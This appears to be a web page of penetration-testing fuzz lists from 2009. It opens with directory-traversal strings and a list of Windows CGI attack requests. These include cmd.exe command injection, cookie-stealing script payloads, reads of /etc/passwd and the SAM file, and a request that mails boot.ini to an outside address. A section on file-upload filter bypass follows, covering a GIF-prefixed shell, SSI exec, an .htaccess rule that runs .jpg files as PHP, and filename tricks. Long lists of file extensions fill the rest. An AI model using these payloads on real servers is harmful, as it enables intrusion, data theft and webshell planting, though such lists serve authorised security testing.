./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2009) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2009 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> <br /> <br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> 